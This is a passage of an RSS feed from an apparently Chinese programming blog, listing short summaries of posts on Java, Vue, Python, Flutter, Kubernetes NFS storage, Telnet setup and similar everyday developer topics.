--&amp;gt; &amp;lt;property name=&#34;url&#34; value=&#34;${default.jdbc.url}&#34; /&amp;gt; &amp;lt;property name=&#34;username&#34; value=&#34;${default.jdbc.username}&#34; /&amp;gt; &amp;lt;property name=&#34;password&#34; value=&#34;${default.jdbc.password}&#34; /&amp;gt; &amp;lt;!-- 配置初始化大小、最小、最大 --&amp;gt; &amp;lt;property name=&#34;initialSize&#34; value=&#34;${default.jdbc.pool.init}&#34; /&amp;gt; &amp;lt;property name=&#34;minIdle&#34; value=&#34;${default.jdbc.pool.minIdle}&#34; /&amp;gt; &amp;lt;property name=&#34;maxActive&#34; value=&#34;${default.jdbc.pool.maxActive}&#34; /&amp;gt; &amp;lt;!-- 配置获取连接等待超时的时间 --&amp;gt; &amp;lt;property name=&#34;maxWait&#34; value=&#34;60000&#34; /&amp;gt; &amp;lt;!-- 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒 --&amp;gt; &amp;lt;property name=&#34;</description>
    </item>
    <item>
      <title>LeetCode 算法入门 Day7 广度优先搜索 / 深度优先搜索 Java</title>
      <link>https://bchobby.github.io/posts/1bf12e7872d50bf015d4da489a2e4b78/</link>
      <pubDate>Fri, 19 Nov 2021 16:33:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bf12e7872d50bf015d4da489a2e4b78/</guid>
      <description>733. 图像渲染&#xA;题目描述:&#xA;代码:&#xA;class Solution { int []dx={1,0,0,-1}; int []dy={0,1,-1,0}; public int[][] floodFill(int[][] image, int sr, int sc, int newColor) { int currColor = image[sr][sc]; if(currColor==newColor){ return image; } int n=image.length,m=image[0].length; Queue&amp;lt;int[]&amp;gt; queue = new LinkedList&amp;lt;int[]&amp;gt;(); queue.offer(new int[] {sr,sc}); image[sr][sc]=newColor; while(!queue.isEmpty()){ int []cell=queue.poll(); int x=cell[0],y=cell[1]; for(int i=0;i&amp;lt;4;i++){ int mx=x+dx[i],my=y+dy[i]; if(mx&amp;gt;=0&amp;amp;&amp;amp;mx&amp;lt;n&amp;amp;&amp;amp;my&amp;gt;=0&amp;amp;&amp;amp;my&amp;lt;m&amp;amp;&amp;amp;image[mx][my]==currColor){ queue.offer(new int[]{mx,my}); image[mx][my]=newColor; } } } return image; } } 思路:&#xA;695. 岛屿的最大面积&#xA;问题描述:&#xA;代码:&#xA;class Solution { public int maxAreaOfIsland(int[][] grid) { int ans = 0; for(int i=0;i!</description>
    </item>
    <item>
      <title>点击打印按钮，第一次获取不到数据，一定要第二次才能获取到数据------this.$nextTick()</title>
      <link>https://bchobby.github.io/posts/b753fff34641b5d3554b815f0f190f69/</link>
      <pubDate>Fri, 19 Nov 2021 16:16:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b753fff34641b5d3554b815f0f190f69/</guid>
      <description>（第一次分享，还有点小忐忑，如果哪里说的不对，请及时纠正哦~~）&#xA;----------------------------------------------------------------------------------------------&#xA;我写了一个打印按钮，点击按钮时会弹出打印框显示四张表格以及表格里面的数据（数据是后端传过来的），我本来是这样写的（如下图），如果是顺序执行 ，我这样写会倒置先打印后获取数据，就会造成的我表格获取不到数据。&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;然后，我把它们的位置互换了，发现第一次点还是获取不到数据，一定要第二次点才可以获取到。噢！原来axios 是异步（简而言之就是不按顺序执行）。&#xA;所以我的理解是：当getList()在获取数据的时候，我的打印事件也执行了，所以我第一次获取不到数据，当我第二次点击打印按钮的时候（也就是在第一次getList()获取到数据之后），我就能获取到数据。&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;后来，我就在getList（）里使用了 this.$nextTick()方法，在数据获取完之后立即执行打印事件，在print事件里调用getList（），然后就实现了第一次点击就能获取到数据啦。&#xA;总结：更改数据后当你想立即使用js操作新的视图的时候就使用this.$nextTick()&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;提出一个问题：我在created和mounted里调用getList（）的时候，会报“数据不存在的错”，请问这是为什么？</description>
    </item>
    <item>
      <title>Ubuntu 18.04安装搜狗输入法</title>
      <link>https://bchobby.github.io/posts/d863ce159d939f129252c2970e872a92/</link>
      <pubDate>Fri, 19 Nov 2021 16:06:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d863ce159d939f129252c2970e872a92/</guid>
      <description>Ubuntu 18.04安装搜狗输入法 包下载地址教程 完成教程的步骤后，配置输入法如下：</description>
    </item>
    <item>
      <title>element折叠面板(默认展开)的使用及样式修改</title>
      <link>https://bchobby.github.io/posts/b92652d9ce50b85b3e21cc5732e054e2/</link>
      <pubDate>Fri, 19 Nov 2021 14:44:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b92652d9ce50b85b3e21cc5732e054e2/</guid>
      <description>效果图：&#xA;HTML部分：&#xA;&amp;lt;el-collapse v-model=&#34;activeNames&#34; style=&#34;border:none;margin-left:30px;&#34;&amp;gt; &amp;lt;el-collapse-item name=&#34;1&#34;&amp;gt; &amp;lt;template slot=&#34;title&#34;&amp;gt; &amp;lt;p class=&#34;title&#34;&amp;gt;运行信息&amp;lt;/p&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;div class=&#34;row&#34; style=&#34;margin-top:18px;&#34;&amp;gt; &amp;lt;span&amp;gt;开关:{{on}}&amp;lt;/span&amp;gt; &amp;lt;span style=&#34;margin-left:77px&#34;&amp;gt;亮度:{{light}}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-collapse-item&amp;gt; &amp;lt;el-collapse-item name=&#34;2&#34;&amp;gt; &amp;lt;template slot=&#34;title&#34;&amp;gt; &amp;lt;p class=&#34;title&#34;&amp;gt;设备信息&amp;lt;/p&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;div class=&#34;row&#34; style=&#34;margin-top:18px;&#34;&amp;gt; &amp;lt;p class=&#34;col_left&#34;&amp;gt;设备名称:{{devName}}&amp;lt;/p&amp;gt; &amp;lt;p class=&#34;col_right&#34;&amp;gt;产品名称:{{prodName}}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;row&#34; style=&#34;overflow:hidden&#34;&amp;gt; &amp;lt;p class=&#34;col_left&#34;&amp;gt;设备ID:{{devId}}&amp;lt;/p&amp;gt; &amp;lt;p class=&#34;col_right&#34;&amp;gt;规格型号:{{modelId}}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-collapse-item&amp;gt; &amp;lt;/el-collapse&amp;gt; script部分：&#xA;&amp;lt;script&amp;gt; export default { data () { return { on: &#34;开&#34;, light: 100, devName: &#39;虎牌双色灯&#39;, prodName: &#39;双色灯&#39;, devId: &#39;M000012&#39;, modelId: &#39;双色灯5045&#39;, activeNames: [&#39;1&#39;, &#39;2&#39;] //这里的activeNames要与&amp;lt;el-collapse&amp;gt;绑定的v-model值一致 //[&#39;1&#39;, &#39;2&#39;]里面的值要与&amp;lt;el-collapse-item&amp;gt;唯一表示name属性值一致 //这样就可以实现默认展开指定折叠面板块 } } } &amp;lt;/script&amp;gt; css部分：</description>
    </item>
    <item>
      <title>python交流群</title>
      <link>https://bchobby.github.io/posts/8d69a0252a7ec327551bf8b83c2b77a8/</link>
      <pubDate>Fri, 19 Nov 2021 14:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d69a0252a7ec327551bf8b83c2b77a8/</guid>
      <description>q群：707499462&#xA;本群旨在为初学python的小伙伴们提供交流机会</description>
    </item>
    <item>
      <title>Java内存区域</title>
      <link>https://bchobby.github.io/posts/25c468529e4cec692875f81e29302758/</link>
      <pubDate>Fri, 19 Nov 2021 13:37:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/25c468529e4cec692875f81e29302758/</guid>
      <description>新生代主要存一些朝生夕死的对象，老年代存的是比较稳定的对象或者是大对象，持久代用于存放用于存放静态文件，如今Java类、方法等。</description>
    </item>
    <item>
      <title>[Python]解决UnicodeDecodeError: ‘ascii‘ codec can‘t decode byte 0xe6 in position 0</title>
      <link>https://bchobby.github.io/posts/259615232fd48fb82d12073737d56f00/</link>
      <pubDate>Fri, 19 Nov 2021 11:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/259615232fd48fb82d12073737d56f00/</guid>
      <description>我的Linux服务器的Python版本是2.*，在将中文encode(UTF-8)的时候出现了UnicodeDecodeError: &#39;ascii&#39; codec can&#39;t decode byte 0xe6 in position 0: ordinal not in range(128)的问题。而在3.*中没有问题。&#xA;解决方法：&#xA;在代码前端加入&#xA;import sys&#xA;reload(sys)&#xA;sys.setdefaultencoding(&#39;utf8&#39;)&#xA;Python 2.x，字符编码方面，设计的不好。字符串包含两种-----&amp;gt;str字符串（此时字符串的编码类型，对应着你的Python文件本身保存为何种编码有关）和unicode字符串&#xA;而在Python 3.*中，字符串则是unicode编码的str。上面这个问题，就是Python2.*渣编码的一个体现</description>
    </item>
    <item>
      <title>Java读写文件的常用方法</title>
      <link>https://bchobby.github.io/posts/7003b348a5952f6763f25513a2c2e803/</link>
      <pubDate>Thu, 18 Nov 2021 19:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7003b348a5952f6763f25513a2c2e803/</guid>
      <description>Java读写文件提供了几种流来提供文件读写。&#xA;FileWriter和FileReader 读写字符流。read()方法只支持对单个或指定个数的char读取。&#xA;import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; /** * 使用FileWriter类写文本文件 */ public static void writeMethod1() { String fileName=&#34;C:\\test.txt&#34;; try { //使用这个构造函数时，如果存在test.txt文件， //则先把这个文件给删除掉，然后创建新的test.txt FileWriter writer=new FileWriter(fileName); writer.write(&#34;This is a test\n&#34;); writer.close(); } catch (IOException e) { e.printStackTrace(); } } //注意：上面的例子由于写入的文本很少，使用FileWrite类就可以了。但如果需要写入的 //内容很多，就应该使用更为高效的缓冲器流类BufferedWriter。 /** * 使用FileReader类读文本文件 */ public static void readMethod1() { String fileName=&#34;C:/test.txt&#34;; int c=0; try { FileReader reader=new FileReader(fileName); c=reader.read(); while(c!=-1) { System.out.print((char)c); c=reader.read(); } reader.close(); } catch (Exception e) { e.</description>
    </item>
    <item>
      <title>Mars--xlog加密踩坑</title>
      <link>https://bchobby.github.io/posts/598f81ead28ec533c57551de6bc75cc5/</link>
      <pubDate>Thu, 18 Nov 2021 18:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/598f81ead28ec533c57551de6bc75cc5/</guid>
      <description>基础 - Xlog 加密使用指引 - 《Mars 开发文档》 - 书栈网 · BookStack&#xA;一、环境准备–Python2环境安装openssl&#xA;以下一起操作都需要在python2环境下进行操作&#xA;文档中使用的是pyelliptic1.5.7，在新版本的macos中已经不可用，有人提交了Issues&#xA;Exception: Couldn’t load OpenSSL lib , 升级到MACOS 11.5.1后出现 · Issue #969 · Tencent/mars (github.com)&#xA;下载pyelliptic 1.5.10&#xA;https://github.com/mfranciszkiewicz/pyelliptic/archive/1.5.10.tar.gz#egg=pyelliptic&#xA;解压后，修改源文件中的openssl.py文件,目录如下&#xA;pyelliptic-1.5.10/pyelliptic/openssl.py def find_crypto_lib(): if sys.platform != &#39;win32&#39;: # 注释掉下面路径,写绝对路径 # return ctypes.util.find_library(&#39;crypto&#39;) return &#39;/usr/lib/libcrypto.dylib&#39; 在Python2环境下到pyelliptic-1.5.10进行安装&#xA;python setup.py install 二、生成公私钥&#xA;到Mars项目目录下找到gen_key.py，目录如下&#xA;mars-master/mars/log/crypt/gen_key.py 修改decode_mars_crypt_log_file.py中的公私钥&#xA;PRIV_KEY = &#34;私钥&#34; PUB_KEY = &#34;公钥&#34; 三、修改Android中xlog的初始化代码&#xA;val SDCARD: String = Environment.getExternalStorageDirectory().absolutePath val logPath: String = SDCARD + &#34;</description>
    </item>
    <item>
      <title>Labelme 批量转 dataset 使用 labelme_json_to_dataset 命令 （简明图文教程）</title>
      <link>https://bchobby.github.io/posts/b5a6bb63f0105aa74cfc4a5ac77f90ff/</link>
      <pubDate>Thu, 18 Nov 2021 15:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5a6bb63f0105aa74cfc4a5ac77f90ff/</guid>
      <description>Labelme 批量转 dataset 0.概述1.原理2.代码3.试验过程3.1 实验一：输入单个目录3.2 实验二： 增加参数 --out 输出文件目录 4.方法二4.1 重新创建虚拟环境4.2 进入虚拟环境和标注目录：4.3 安装labelme的依赖4.4 安装labelme4.5 编写bat文件 实验环境&#xA;操作系统：Windows 10&#xA;Python：3.8&#xA;Labelme：4.5.13 (这个版本比较重要，不同版本代码可能会不一样）&#xA;Anaconda：4.10.1&#xA;如果还有同学没有安装好 Anaconda，或者 Labelme 请参见，我的另外两篇文章：安装Anaconda，安装 Labelme&#xA;0.概述 现有的标注 json 文件转 dataset 的工具只能转单个 json 文件，没有办法批量转多个标注文件。本文中笔者根据转换原理修改相关代码实现了批量转换一个目录下所有 json 文件的方法，该方法支持输入一个目录，并且兼容 -o, --out 参数来指定输出 dataset 的目录，详细介绍如下。&#xA;1.原理 默认安装的 Labelme 有个可以单个转换 json 标注文件成 dataset 的工具，在 $python目录\Scripts 下，例如：&#xA;Anaconda虚拟环境 ：&#xA;D:\anaconda3\envs\labelme\Scripts\labelme_json_to_dataset.exe&#xA;非虚拟环境：&#xA;E:\python\Python37\Scripts\labelme_json_to_dataset.exe&#xA;这个exe文件，调用的代码是 $python目录\Lib\site-packages\labelme\cli\json_to_dataset.py ，例如&#xA;Anaconda虚拟环境：&#xA;D:\anaconda3\envs\labelme\Lib\site-packages\labelme\cli\json_to_dataset.py&#xA;非虚拟环境：&#xA;E:\python\Python37\Lib\site-packages\labelme\cli\json_to_dataset.py&#xA;执行命令&#xA;(labelme) PS D:\anaconda3\envs\labelme\Scripts&amp;gt; .\labelme_json_to_dataset.exe E:\annotation\xx.</description>
    </item>
    <item>
      <title>计概基础知识串讲</title>
      <link>https://bchobby.github.io/posts/a77f1b2a43485fb26c9c0f76cccc014c/</link>
      <pubDate>Thu, 18 Nov 2021 14:43:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a77f1b2a43485fb26c9c0f76cccc014c/</guid>
      <description>谁能想到以这种方式再次打开文章管理&#xA;计算概论期中复习&amp;amp;串讲 一： 发展史 （一）.数学危机 希帕索斯发现无理数——实数论贝克莱悖论（无穷小）——集合论罗素悖论——哥德尔不完备性定理——可计算问题——图灵机 （二）.计算机 第一台——埃尼阿克ENIAC 1946 宾夕法尼亚大学&#xA;*无存储器，用布线板控制，效率低&#xA;现代意义上第一台 ——EDVAC 1951 冯诺依曼&#xA;二进制表示数组和程序，使用“存储程序”的方法控制计算机&#xA;冯诺依曼结构&#xA;摩尔定律：&#xA;CPU芯片上的零件密度每18月增加一倍&#xA;CPU性能18个月提高一倍，价格下降一半&#xA;保证摩尔定律？ 提高工作效率&amp;amp;在一枚处理器中集成多个内核 第一代计算机(1946年-1957年)电子管计算机，采用电子管作为逻辑线路主要元件。应用范围十分有限，主要应用于军事领域及科学计算。&#xA;第二代计算机(1957年-1964年) 晶体管计算机 采用晶体管作为逻辑线路主要元件。与第一代计算机相比，由于晶体管体积小、耗电少、寿命长、计算性能有了很大改进，成本随之下降。应用范围扩大到数据处理和事务管理等方面。&#xA;第三代计算机(1964年-1970年)集成电路计算机，采用中、小规模集成电路代替了传统的独立式晶体管。与第二代计算机相比，这一时期的计算机其软件、硬件系统都向标准化、模块化、系列化发展。应用范围扩大到工业控制等领域。&#xA;第四代计算机(1970年-今) 大规模集成电路计算机，采用大规模、超大规模集成电路为计算机主要功能元件。&#xA;以上设计都采用“冯·诺依曼”结构，&#xA;“以二进制、存储程序以及指令和数据统一存储”为基础&#xA;二：网络 （一）互联网络 组成&#xA;各种类型的计算机或嵌入式设备互联线路或无线通信介质网络通信设备与网络软件 分类：&#xA;广域网（WAN）：跨越国家和省市地域的网络局域网（LAN）：一个建筑物范围内、利用以太网技术形成的计算机网络内联网（Intranet）：企业/组织的内部网（可能是WAN、LAN） （二）局域网 计算机&#xA;网卡（NC）连接线路&#xA;有线：双绞线&#xA;无线网络设备：&#xA;集线器&#xA;交换机&#xA;路由器 （三）管理 协议&#xA;通信协议栈协议 HTTP超文本传输（客户端于服务器之间的通讯协议）TCP传输控制协议（可靠的传输协议）IP互联网协议（非可靠的传输协议）&#xA;地址 IP地址——计算机在IP网络上的标识，32位二进制数域名——文字标识IP地址DNS——把域名映射成IP地址的服务系统 （四）基础设施 通信线路（介质）&#xA;双绞线、光纤，无线，同轴电缆……&#xA;网络设备&#xA;集线器、交换机、路由器&#xA;技术&#xA;以太网、ATM、蓝牙&#xA;（五）基本模式 客户端 /服务器 client/server&#xA;客户端早读发出请求，服务器被动接受服务请求对等 peer to peer&#xA;客户端和服务器仅仅是角色，在不同的交互中同一计算机可以有不同角色 （六）应用 万维网</description>
    </item>
    <item>
      <title>Caused by: java.lang.StackOverflowError: null</title>
      <link>https://bchobby.github.io/posts/9c8d2061b812f3fce0cbd61072c1ff2e/</link>
      <pubDate>Thu, 18 Nov 2021 09:10:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c8d2061b812f3fce0cbd61072c1ff2e/</guid>
      <description>参考&#xA;由于深度递归，抛出此错误以指示应用程序的堆栈已耗尽。&#xA;在方法执行过程中调用自己引起递归。&#xA;解决：查看方法中哪些部份反复调用自己。</description>
    </item>
    <item>
      <title>Flutter 架构</title>
      <link>https://bchobby.github.io/posts/7ca5a563cdf73b732b80ff895f388225/</link>
      <pubDate>Wed, 17 Nov 2021 20:27:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ca5a563cdf73b732b80ff895f388225/</guid>
      <description>该文章旨在提供更深入的 Flutter 架构概览，包含其设计层面的核心原则及概念。&#xA;​&#xA;在开发中，Flutter 应用会在一个 VM（程序虚拟机）中运行，从而可以在保留状态且无需重新编译的情况下，热重载相关的更新。对于发行版 (release) ，Flutter 应用程序会直接编译为机器代码（Intel x64 或 ARM 指令集），或者针对 Web 平台的 JavaScript。 Flutter 的框架代码是开源的，遵循 BSD 开源协议，并拥有蓬勃发展的第三方库生态来补充核心库功能。&#xA;​&#xA;接下来我们主要分为以下几部分内容来了解 Flutter 架构：&#xA;简介：Flutter 是什么？干什么？谁会用到？架构层：Flutter 的构成要素。响应式用户界面：Flutter 用户界面开发的核心概念。布局和渲染：Flutter 如何将界面布局转化为像素。widgets 树：构建 Flutter 用户界面的基石。平台嵌入层：让 Flutter 应用可以在移动端及桌面端操作系统执行的代码。与其他代码进行集成：Flutter 应用可用的各项技术的更多信息。 一. Flutter 简介 Flutter 是 Google 的便携式 UI 工具包，帮助你在移动、web、桌面端创造高质量的绝妙原生体验的应用。 Flutter 可以和世界上的开发人员和开发组织广泛使用的那些现存代码一起使用，并且是开源的、免费的。&#xA;​&#xA;对于用户来说，Flutter 让漂亮的应用 UI 变得生动有趣。&#xA;对于开发者来说，Flutter 降低了创建移动应用的门槛。它加速了移动应用的开发，降低了兼顾 Android 和 iOS 应用开发的成本和复杂性,减少了跨平台开发的成本以及复杂度。 对于设计师而言，Flutter 可以确保精确地实现设计意图，而无需降低保真度或被迫进行妥协。在设计师的手里，Flutter 还可以作为一种高效的原型设计工具。&#xA;​&#xA;Flutter 适用于希望快速构建精美的移动应用，或者希望用一套代码库覆盖更多用户的开发者。 Flutter 也适用于需要领导研发团队的工程经理们。 Flutter 可以让工程经理打造一个统一的应用研发团队，这个“应用”包含：移动端、Web 端以及桌面端。这可以帮助以便更快地开发更多功能，将相同的功能部署到多平台的应用中，并降低维护成本。 说到底，如果您想要漂亮的应用，令人愉悦的动效和动画，以及富有个性和身份感的 UI，那您就是 Flutter 的目标用户。</description>
    </item>
    <item>
      <title>redhat中Telnet服务器搭建</title>
      <link>https://bchobby.github.io/posts/4c680043cadd03ecaf89b950f0bcfd77/</link>
      <pubDate>Wed, 17 Nov 2021 17:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c680043cadd03ecaf89b950f0bcfd77/</guid>
      <description>主要说明：&#xA;利用yum源来下载安装Telnet服务器&#xA;准备步骤：进入root界面&#xA;[ly@localhost 桌面]$ su 密码：&#xA;[root@localhost 桌面]#&#xA;配置好yum源文件（此处省）检查是否安装了Telnet和xinetd 开始进行安装 安装Telnet服务端&#xA;#yum -y intall telnet-server.86_64&#xA;注：一般如下找不到镜像文件的原因是 没有连接网络！！！&#xA;此时需要在本电脑连好网络后，再在虚拟机桌面右上角出开启连网，如图&#xA;安装Telnet客户端&#xA;#yum -y install telnet.x86_64&#xA;4、安装xinetd进程&#xA;注：xinetd进程是Telnet的守护进程&#xA;#yum -y install xinetd.x86_64&#xA;5、检查是否都安装成功&#xA;# rpm -qa | grep telnet # rpm -qa | xinetd 6、 安装成功后，将xinetd服务加入开机自启动：&#xA;# systemctl enable xinetd.service 如果失败了，一般是没有关闭防火墙造成，需要暂时关闭防火墙：&#xA;# systemctl stop firewalld&#xA;7、 将telnet服务加入开机自启动：&#xA;# systemctl enable telnet.socket&#xA;8、启动telnet和xinetd两个服务即可&#xA;# systemctl start telnet.socket&#xA;# systemctl start xinetd&#xA;9、 开启端口</description>
    </item>
    <item>
      <title>如何简单编写斗地主发牌程序</title>
      <link>https://bchobby.github.io/posts/22c9f035471d338688a2a78037b2de70/</link>
      <pubDate>Wed, 17 Nov 2021 17:41:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22c9f035471d338688a2a78037b2de70/</guid>
      <description>我们先来看一看要求&#xA;* 纸牌管理类&#xA;* 斗地主游戏规则如下:&#xA;* 1.有三名玩家，可从控制台赋值玩家姓名，玩家中会有牌类集合的属性，还有是否是地主的状态&#xA;* 2.牌类有两个属性:花色和点数。花色有4种:黑红梅方（可用枚举）点数对应有13加上两张王牌（可用枚举）。&#xA;* 3.扑克牌管理类:用于产生54张随即顺序的牌堆（牌类集合，54张牌不变，变得是顺序），给玩家发牌，并随机产生地主，把剩余3张底牌给地主，并展示三位玩家的手牌。同时把手牌信息存入文件中&#xA;一，首先创建纸牌类&#xA;可以利用数组，也可以利用集合&#xA;先把花色和数字定义好，然后把大小王添加进去，接着利用递归的方法，将花色和数字一一对应，这里要注意下标的问题&#xA;public class Playcard { public static void main(String[] args)throws IOException { ArrayList&amp;lt;Integer&amp;gt; numCards = new ArrayList&amp;lt;&amp;gt;();//numcards为下标的集合 HashMap&amp;lt;Integer, String&amp;gt; cards = new HashMap&amp;lt;&amp;gt;();//cards为纸牌的集合，包括下标和纸牌数字花色 String[] num = {&#34;A&#34;, &#34;2&#34;, &#34;3&#34;, &#34;4&#34;, &#34;5&#34;, &#34;6&#34;, &#34;7&#34;, &#34;8&#34;, &#34;9&#34;, &#34;10&#34;, &#34;J&#34;, &#34;Q&#34;, &#34;K&#34;}; String[] colour = {&#34;♠&#34;, &#34;♦&#34;, &#34;♣&#34;, &#34;♥&#34;}; numCards.add(0); numCards.add(1); cards.put(0, &#34;大王&#34;); cards.put(1, &#34;小王&#34;); int a = 2; for (String s : colour) { for (String s1 : num) { numCards.</description>
    </item>
    <item>
      <title>pyecharts Graphic使用（加水印）</title>
      <link>https://bchobby.github.io/posts/446152c0d7cfeb05e7a432abd7b5c71a/</link>
      <pubDate>Wed, 17 Nov 2021 17:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/446152c0d7cfeb05e7a432abd7b5c71a/</guid>
      <description>Graphic 添加文字 可以通过添加文字作为水印&#xA;首先随便选一个图&#xA;from pyecharts import options as opts from pyecharts.charts import Bar from pyecharts.faker import Faker c = Bar() c.add_xaxis(Faker.choose()) c.add_yaxis(&#34;商家A&#34;, Faker.values(), stack=&#34;stack1&#34;) c.add_yaxis(&#34;商家B&#34;, Faker.values(), stack=&#34;stack1&#34;) c.set_series_opts(label_opts=opts.LabelOpts(is_show=False)) c.set_global_opts(title_opts=opts.TitleOpts(title=&#34;Bar-堆叠数据（全部）&#34;)) c.render(&#34;./picture/bar_stack0.html&#34;) 大概长这样&#xA;接下来使用Graphic增加水印&#xA;from pyecharts import options as opts from pyecharts.charts import Bar from pyecharts.faker import Faker from pyecharts.commons.utils import JsCode c = Bar() c.add_xaxis(Faker.choose()) c.add_yaxis(&#34;商家A&#34;, Faker.values(), stack=&#34;stack1&#34;) c.add_yaxis(&#34;商家B&#34;, Faker.values(), stack=&#34;stack1&#34;) c.set_series_opts(label_opts=opts.LabelOpts(is_show=False)) c.set_global_opts( title_opts=opts.TitleOpts(title=&#34;Bar-堆叠数据（全部）&#34;) ,graphic_opts=[ opts.GraphicGroup( #定位位置 具体配置看官方文档https://pyecharts.org/#/zh-cn/global_options?id=graphicrect%ef%bc%9a%e5%8e%9f%e7%94%9f%e5%9b%be%e5%bd%a2%e7%9f%a9%e5%bd%a2%e9%85%8d%e7%bd%ae%e9%a1%b9 graphic_item=opts.GraphicItem( rotation=JsCode(&#34;</description>
    </item>
    <item>
      <title>vue-pure-admin项目的学习</title>
      <link>https://bchobby.github.io/posts/3114b8a50cc13ea034e51bdcbd969f8c/</link>
      <pubDate>Wed, 17 Nov 2021 16:33:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3114b8a50cc13ea034e51bdcbd969f8c/</guid>
      <description>前言 感谢作者的开源，让我们有机会学习&#xA;项目地址： vue-pure-admin&#xA;只是记录自己的学习，有问题地方感谢指正&#xA;只会记录一些自己目前感觉有用的知识点&#xA;代码demo都是基于vue3、ts、element plus&#xA;目录结构 -src --api&#x9;存放与请求有关的文件 --assets&#x9;存放静态文件（图标、文字） --components&#x9;存放全局公共组件 --config&#x9;项目配置 --directives&#x9;全局指令 --layout&#x9;全局布局 --plugins&#x9;插件 --router&#x9;路由 --store&#x9;vuex --style&#x9;全局样式 --utils&#x9;全局工具方法 --views&#x9;页面 登录页 登录页小功能 项目效果如下，感觉挺不错的&#xA;demo&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;login&#34;&amp;gt; &amp;lt;div class=&#34;user&#34;&amp;gt; &amp;lt;div ref=&#34;nameRef&#34; class=&#34;user_name&#34;&amp;gt;用户名&amp;lt;/div&amp;gt; &amp;lt;input class=&#34;input&#34; type=&#34;text&#34; v-model=&#34;userName&#34; @focus=&#34;onUserFocus(nameRef)&#34; @blur=&#34;onUserBlur(nameRef, userName)&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34;&amp;gt; import { defineComponent, ref } from &#34;vue&#34;; export default defineComponent({ setup() { let nameRef = ref(null); let userName = ref(&#34;</description>
    </item>
    <item>
      <title>Windows部署的gogs开机自启动</title>
      <link>https://bchobby.github.io/posts/78de9acc632e6a63f88e22fe36c760c7/</link>
      <pubDate>Wed, 17 Nov 2021 16:13:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78de9acc632e6a63f88e22fe36c760c7/</guid>
      <description>1、编写自启动脚本gogs.bat&#xA;脚本含义就是进入到gogs目录，然后后台启动gogs服务，如下：&#xA;cd/ d: cd D:/gogs/ gogs web &amp;amp; 2、添加开机启动脚本&#xA;win+r弹出运行窗口，输入&#xA;gpedit.msc 弹出本地组策略编辑器，按下图所示添加刚才编写的gogs.bat脚本，应用确定即可。&#xA;然后重启就能自启动gogs了。</description>
    </item>
    <item>
      <title>kubernetes(k8s) 存储动态挂载</title>
      <link>https://bchobby.github.io/posts/61bf10246b209b1231d851a47bbb3772/</link>
      <pubDate>Wed, 17 Nov 2021 15:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61bf10246b209b1231d851a47bbb3772/</guid>
      <description>使用 nfs 文件系统 实现kubernetes存储动态挂载&#xA;1. 安装服务端和客户端&#xA;root@hello:~# apt install nfs-kernel-server nfs-common 其中 nfs-kernel-server 为服务端，　nfs-common 为客户端。&#xA;2. 配置 nfs 共享目录&#xA;root@hello:~# mkdir /nfs root@hello:~# sudo vim /etc/exports /nfs *(rw,sync,no_root_squash,no_subtree_check) 各字段解析如下： /nfs: 要共享的目录 ：指定可以访问共享目录的用户 ip, * 代表所有用户。192.168.3.　指定网段。192.168.3.29 指定 ip。 rw：可读可写。如果想要只读的话，可以指定 ro。 sync：文件同步写入到内存与硬盘中。 async：文件会先暂存于内存中，而非直接写入硬盘。 no_root_squash：登入 nfs 主机使用分享目录的使用者，如果是 root 的话，那么对于这个分享的目录来说，他就具有 root 的权限！这个项目『极不安全』，不建议使用！但如果你需要在客户端对 nfs 目录进行写入操作。你就得配置 no_root_squash。方便与安全不可兼得。 root_squash：在登入 nfs 主机使用分享之目录的使用者如果是 root 时，那么这个使用者的权限将被压缩成为匿名使用者，通常他的 UID 与 GID 都会变成 nobody 那个系统账号的身份。 subtree_check：强制 nfs 检查父目录的权限（默认） no_subtree_check：不检查父目录权限 配置完成后，执行以下命令导出共享目录，并重启 nfs 服务:</description>
    </item>
    <item>
      <title>Class版本号和Java版本映射关系</title>
      <link>https://bchobby.github.io/posts/6dd5540dfa9fc1d2164d3d401c175d8f/</link>
      <pubDate>Wed, 17 Nov 2021 15:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dd5540dfa9fc1d2164d3d401c175d8f/</guid>
      <description>JDK 1.8 = 52&#xA;JDK 1.7 = 51&#xA;JDK 1.6 =50&#xA;JDK 1.5 = 49&#xA;JDK 1.4 = 48&#xA;JDK 1.3 = 47&#xA;JDK 1.2 = 46&#xA;JDK 1.1 = 45</description>
    </item>
    <item>
      <title>CentOS 7 安装Greenplum数据库</title>
      <link>https://bchobby.github.io/posts/1fe65ebfa67905e868328c755f2ae3e9/</link>
      <pubDate>Wed, 17 Nov 2021 15:29:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fe65ebfa67905e868328c755f2ae3e9/</guid>
